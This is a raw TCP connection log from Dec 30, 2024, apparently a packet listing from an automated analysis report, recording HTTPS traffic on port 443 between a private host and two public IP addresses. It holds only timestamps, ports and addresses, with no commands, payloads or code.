Dec 30, 2024 04:59:41.413002014 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.413149118 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.413156033 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.414688110 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.414693117 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.567610025 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.567760944 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.568106890 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.568110943 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.568255901 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.568259954 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.628726959 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.628781080 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.628853083 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.628889084 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.628937960 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.629355907 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.629412889 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.629492998 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.629674911 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.629704952 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.690047979 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.690218925 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.690268993 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.690329075 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.690365076 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.690407038 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.690536976 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.690601110 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.690776110 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.690777063 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.690799952 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.690854073 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.691025972 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.691039085 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.818284988 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.818325996 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.818367004 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.818403006 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.818416119 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.818416119 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.818440914 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.818470955 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.819139957 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.819154024 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.819603920 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.819642067 CET	443	49923	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.819708109 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.819895029 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.819911003 CET	443	49923	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.962079048 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.962121964 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.962131977 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.962141991 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.962219954 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.962351084 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.962398052 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.962398052 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.962728024 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.962734938 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.963087082 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.963162899 CET	443	49924	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.963234901 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.963412046 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:41.963444948 CET	443	49924	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.245138884 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.245209932 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.245775938 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.245839119 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.248917103 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.248938084 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.249145031 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.249241114 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.249579906 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.291332960 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.333129883 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.333214998 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.333765984 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.333822012 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.335161924 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.335169077 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.335376024 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.335421085 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.335753918 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.379342079 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.437099934 CET	443	49923	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.437222004 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.437939882 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.437947989 CET	443	49923	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.438054085 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.438060045 CET	443	49923	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.599776030 CET	443	49924	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.599898100 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.600410938 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.600439072 CET	443	49924	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.600553036 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.600564957 CET	443	49924	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.621135950 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.621206045 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.621212006 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.621267080 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.621336937 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.621336937 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.621370077 CET	443	49921	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.621427059 CET	49921	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.621773005 CET	49925	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.621819973 CET	443	49925	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.621884108 CET	49925	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.622066975 CET	49925	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.622083902 CET	443	49925	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.710616112 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.710733891 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.710752010 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.710793018 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.710793972 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.710834980 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.710865974 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.710876942 CET	443	49922	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.710886002 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.710917950 CET	49922	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.711225033 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.711251974 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.711318016 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.711472988 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.711486101 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.734685898 CET	49923	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.734720945 CET	49924	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.734740973 CET	49925	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.735039949 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.735053062 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.735310078 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.735359907 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.735368013 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.735434055 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.736005068 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.736018896 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.736207008 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:42.736238003 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:42.736520052 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.736546040 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:42.736608982 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.736927986 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:42.736938000 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.319144011 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.320904970 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.321264982 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.321270943 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.321429014 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.321434021 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.334398031 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.334697008 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.334801912 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.334801912 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.335239887 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.335249901 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.335441113 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.335500002 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.336846113 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.336853981 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.337066889 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.337074995 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.337080956 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.337133884 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.337409019 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.353821993 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.356993914 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.357362986 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.357369900 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.357419014 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.357424974 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.383366108 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.698288918 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.698347092 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.698348999 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.698390007 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.698446989 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.698471069 CET	443	49928	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.698479891 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.698507071 CET	49928	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.698970079 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.699002028 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.699076891 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.699306965 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.699322939 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.704008102 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.704061985 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704073906 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.704087019 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.704114914 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704129934 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704178095 CET	49931	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704186916 CET	443	49931	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.704585075 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704674959 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.704750061 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704900026 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:43.704933882 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:43.747554064 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.747596979 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.747652054 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.747669935 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.747679949 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.747730017 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.747839928 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.748605967 CET	49929	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.748615980 CET	443	49929	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.748960972 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.748995066 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.749089003 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.749254942 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.749269962 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.901531935 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.901575089 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.901653051 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.901657104 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.901751041 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.902667046 CET	49930	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.902678967 CET	443	49930	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.903086901 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.903110981 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:43.903182030 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.903372049 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:43.903383017 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.312695980 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.315201044 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.315563917 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.315587997 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.315615892 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.315675020 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.315882921 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.315888882 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.317241907 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.317256927 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.317523003 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.317528963 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.345506907 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.348901033 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.349173069 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.349181890 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.349301100 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.349307060 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.502346039 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.504910946 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.505186081 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.505191088 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.505316973 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.505321026 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.688777924 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.688878059 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.688908100 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.688956976 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.689002991 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.689033985 CET	443	49932	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.689083099 CET	49932	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.689474106 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.689503908 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.689579010 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.689769030 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.689780951 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.693190098 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.693262100 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.693309069 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.693367004 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.693394899 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.693398952 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.693427086 CET	443	49933	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.693439007 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.693506002 CET	49933	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.693767071 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.693805933 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.693861961 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.694047928 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:44.694063902 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:44.759495020 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.759579897 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.759596109 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.759639025 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.759646893 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.759690046 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.759746075 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.759792089 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.759819031 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.759862900 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.759919882 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.759963036 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.760094881 CET	49934	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.760107994 CET	443	49934	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.760473967 CET	49938	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.760514021 CET	443	49938	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.760565996 CET	49938	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.760742903 CET	49938	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.760757923 CET	443	49938	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936022043 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936077118 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936083078 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.936089993 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936124086 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.936153889 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936194897 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.936199903 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936222076 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.936240911 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.936260939 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.936795950 CET	49935	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.936803102 CET	443	49935	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.937323093 CET	49939	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.937386036 CET	443	49939	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:44.937513113 CET	49939	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.939258099 CET	49939	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:44.939306974 CET	443	49939	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:45.298655987 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.298757076 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.299324036 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.299390078 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.300842047 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.300848961 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.301048994 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.301068068 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.301103115 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.301129103 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.301435947 CET	49936	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.301707983 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.301765919 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.302942038 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.302956104 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.303157091 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.303205967 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.303533077 CET	49937	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:45.343334913 CET	443	49936	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.351329088 CET	443	49937	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:45.379997969 CET	443	49938	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:45.380132914 CET	49938	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:45.380736113 CET	49938	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:45.380743980 CET	443	49938	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:45.382242918 CET	49938	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:45.382249117 CET	443	49938	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:45.538811922 CET	443	49939	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:45.538877010 CET	49939	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:45.539180040 CET	49939	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:45.539199114 CET	443	49939	142.250.186.129	192.168.2.4
